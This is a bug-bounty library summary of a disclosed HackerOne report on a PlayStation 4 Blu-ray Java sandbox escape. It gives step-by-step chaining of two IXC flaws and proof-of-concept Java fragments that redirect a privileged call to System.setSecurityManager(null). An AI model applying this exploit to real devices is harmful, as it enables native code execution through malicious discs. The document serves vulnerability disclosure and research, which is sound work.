# Blu-ray Disc Java Sandbox Escape via two vulnerabilities 

Two IXC flaws in PS4 bd-j let a Blu-ray Java app hijack privileged method invocation to call System.setSecurityManager(null), escaping the sandbox to native code execution.

- Payout: $5,000
- Severity: medium
- Program: PlayStation
- Found by: theflow0
- Disclosed: 2025-10-18
- Write-up quality: 9/10
- Original: https://hackerone.com/reports/3104356
- Library page: https://bugbountylibrary.com/r/h1%3A3104356
- Tags: area:os domain:desktop impact:privesc impact:rce kind:bounty platform:hackerone sev:medium tech:java technique:chained technique:incomplete-fix technique:source-review vuln:access-control vuln:privilege-escalation vuln:sandbox-escape

**Target:** bd-j Blu-ray Java IXC implementations (org.dvb.io.ixc and com.sun.xlet.ixc)
**Root cause:** The IxcProxy call-stack mitigation only checks that a real proxy class is on the stack, so any Remote bootstrap class (com.sun.xlet.ixc.IxcRegistryImpl) can be registered and invoked in privileged context; separately WrappedRemote.com_sun_xlet_execute invokes remoteMethod inside doPrivileged, and the stub's static method handle can be reinitialized with an attacker-supplied findMethod.
**Steps:**
1. Subclass com.sun.xlet.ixc.IxcRegistryImpl and register an instance via org.dvb.io.ixc.IxcRegistry to bypass its IxcPermission bind/lookup checks (Vuln 1).
2. Define a fake Remote interface/impl (SystemInterface/SystemImpl) with a setSecurityManager(Remote) method and register it through the hijacked IxcRegistryImpl.
3. On the generated stub, call `com_sun_xlet_destroy` to null com_sun_xlet_method0, then call `com_sun_xlet_init` passing a custom findMethod that returns `System.class.getMethod("setSecurityManager", new Class[]{SecurityManager.class})`.
4. Invoke `setSecurityManager(null)` on the remote SystemImpl; WrappedRemote's doPrivileged block executes the real System.setSecurityManager(null), disabling the SecurityManager.
**How found:** Reviewed the patch for the prior bd-j IxcProxy exploit (report 1379975) and noticed the call-stack check only verifies a proxy class is present, not that the invoked target is legitimate; then audited com.sun.xlet.ixc for classes meeting the Remote/RemoteException registration criteria and found IxcRegistryImpl, and spotted the doPrivileged remoteMethod.invoke plus mutable static method handles in WrappedRemote stubs.
**Exploitation:** A malicious Blu-ray Java xlet registers a bootstrap Remote class to bypass IXC permission checks, then abuses WrappedRemote's privileged invocation and stub reinitialization to redirect a remote call to System.setSecurityManager(null), removing the Java sandbox and gaining native code execution in bd-j.
**Escalation:** Chained two independent IXC flaws: Vuln 1 grants registration/invocation of privileged bootstrap classes, Vuln 2 converts that into arbitrary privileged method invocation, together yielding full sandbox escape.
**Insight:** When a fix validates the call stack by class name, look for other classes that satisfy the same registration interface (Remote + throws RemoteException) and can be reached through the trusted proxy; also treat mutable static Method handles in generated stubs as attacker-controllable via reinit functions.

## Proof of concept (copied exactly from the original report)

**Fake System class and findMethod returning System.setSecurityManager**

```
public interface SystemInterface extends java.rmi.Remote {
  void setSecurityManager(java.rmi.Remote sm) throws java.rmi.RemoteException;
}

public class SystemImpl implements SystemInterface {
  public void setSecurityManager(java.rmi.Remote sm) {}
}

Create an instance of this class and register it via `com.sun.xlet.ixc.IxcRegistryImpl` (that is achieved by exploiting Vulnerability 1).

On the remote object of the stub class, call `com_sun_xlet_destroy` to set `com_sun_xlet_method0` to null and then call `com_sun_xlet_init` with a custom `findMethod` method as argument:

  public static Object findMethod(String cName, String mName, Object[] types)
      throws NoSuchMethodException {
    return System.class.getMethod(
        "setSecurityManager", new Class[] {SecurityManager.class});
  }
```

**WrappedRemote com_sun_xlet_execute doPrivileged invocation**

```
AccessController.doPrivileged(
			  new PrivilegedExceptionAction() {
			     public Object run() throws RemoteException {
				Throwable err = null;
				try {
				    result[0] = remoteMethod.invoke(targetNow, args);
```

**IxcProxy call stack check mitigation code**

```
try {
         var4 = (Class[])AccessController.doPrivileged(new IxcProxy.GetCallStackAction());
      } catch (PrivilegedActionException var9) {
      }

      if (var4 != null && var4.length > 2) {
         for(int var5 = 0; var5 < var4.length; ++var5) {
            String var6 = var4[var5].getName();
            if (var6.equals("com.sony.gemstack.org.dvb.io.ixc.IxcProxy")) {
               String var7 = var4[var5 + 1].getName();
               if (!var7.startsWith("org.dvb.io.ixc.") && !var7.startsWith("com.sony.gemstack.org.dvb.io.ixc.")) {
                  throw new SecurityException("illegal call of invokeMethod");
```

